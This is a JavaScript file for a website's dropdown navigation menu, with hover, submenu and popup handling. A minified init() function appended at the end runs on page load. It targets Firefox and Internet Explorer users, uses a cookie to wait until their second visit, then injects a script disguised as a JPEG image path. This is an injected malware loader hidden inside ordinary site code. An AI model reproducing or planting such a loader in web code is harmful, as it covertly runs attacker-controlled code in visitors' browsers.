var closeTimer, activeMenu, activeEle, activeId, activeSubEle, activeSubMenu;
var correctLeft = 0;
var menuAmount = 4;
var subMenuWidth = 185;
var subOverColor = '#CCCCCC';
var subOutColor = '#EED9D4';
var subOutColor = '#EED9D4';
var mainOverColor = '';
var mainOutColor = '';
var boxModelBorderCorrection = document.all ? 0 : -2;

function hover (ele, state) {
  ele.style.backgroundColor = state ? subOverColor : subOutColor;

  if (activeSubMenu && activeSubMenu != ele.parentNode)
  closeSubMenu ();

  if (state && closeTimer)
  clearTimeout (closeTimer);

  if (!state)
  timedClose();
}

function hoverTD (ele, state) {
  if (state) {
    ele.style.backgroundColor = mainOverColor;
  }
  else {
    ele.style.backgroundColor = mainOutColor;
  }
}

function openMenu (id, ele) {
  if (activeEle)
  activeEle.style.backgroundColor = mainOutColor;

  closeSubMenu ();

  ele.style.backgroundColor = mainOverColor;
  activeEle = ele;
  activeId = id;

  if (closeTimer)
  clearTimeout (closeTimer);

  if (activeMenu)
  activeMenu.style.display = "none";

  if (id) {
    activeMenu = document.getElementById ("ddmenu" + id);
    activeMenu.style.left = (getAbsoluteLeft (activeEle) + correctLeft) + 'px';
    activeMenu.style.display = "block";
  }
}

function openSubMenu (id, ele) {
  if (closeTimer)
  clearTimeout (closeTimer);

  if (activeSubMenu)
  closeSubMenu();

  activeSubMenu = document.getElementById ('ddsubmenu' +id);
  activeSubEle = ele;

  activeSubEle.style.backgroundColor = subOverColor;

  activeSubMenu.style.top = getAbsoluteTop(ele) + 'px';

  var placeLeft = getAbsoluteLeft(activeEle) + subMenuWidth + (-1*boxModelBorderCorrection) + correctLeft + 1;
  if (placeLeft + subMenuWidth > document.body.scrollWidth)
  placeLeft = getAbsoluteLeft(activeEle) - subMenuWidth + (boxModelBorderCorrection) + correctLeft - 1;

  activeSubMenu.style.left = placeLeft + 'px';
  activeSubMenu.style.display = 'block';
}

function getMenuWidth () {
  return Math.round((document.body.scrollWidth - (2*correctLeft)+68 ) / 6) + boxModelBorderCorrection;
}

function timedClose () {
  if (closeTimer)
  clearTimeout (closeTimer);
  closeTimer = setTimeout ("_timedClose()", 500);
}

function _timedClose () {
  if (activeMenu) {
    activeMenu.style.display = "none";
    activeMenu = null;
  }
  if (activeEle) {
    activeEle.style.backgroundColor = mainOutColor;
    activeEle = null;
  }
  closeSubMenu ();
}

function closeSubMenu () {
  if (activeSubMenu) {
    activeSubMenu.style.display = "none";
    activeSubMenu = null;
  }
  if (activeSubEle) {
    activeSubEle.style.backgroundColor = subOutColor;
    activeSubEle = null;
  }
}

function ddnav (url, target, width, height) {
  if (target == "huidig")
  location.href = url;
  else if (target == "nieuw")
  window.open (url);
  else if (target == "popup")
  openPopup (url, "popup", width, height, 1);

  return false;
}

function openPopup (url, name, w, h, resizable) {
  var resizable = resizable || 0;
  var opt = "toolbar=0,location=0,scrollbars="+resizable+",directories=0,status=0,menubar=0,resizable="+resizable+","
  +"width="+w+",height="+h+",left="+parseInt((screen.width-w)/2)+",top="+parseInt((screen.height-h)/3);
  window.open(url, name, opt);
}

function getAbsoluteTop (ele) {
  var v = parseInt (ele.offsetTop);
  if (ele.parentNode && ele.parentNode.offsetTop) {
    v += getAbsoluteTop (ele.parentNode);
  }
  return v;
}

function getAbsoluteLeft (ele) {
  var v = parseInt (ele.offsetLeft);
  if (ele.parentNode && ele.parentNode.offsetLeft) {
    v += getAbsoluteTop (ele.parentNode);
  }
  return v;
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/core/nippes.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();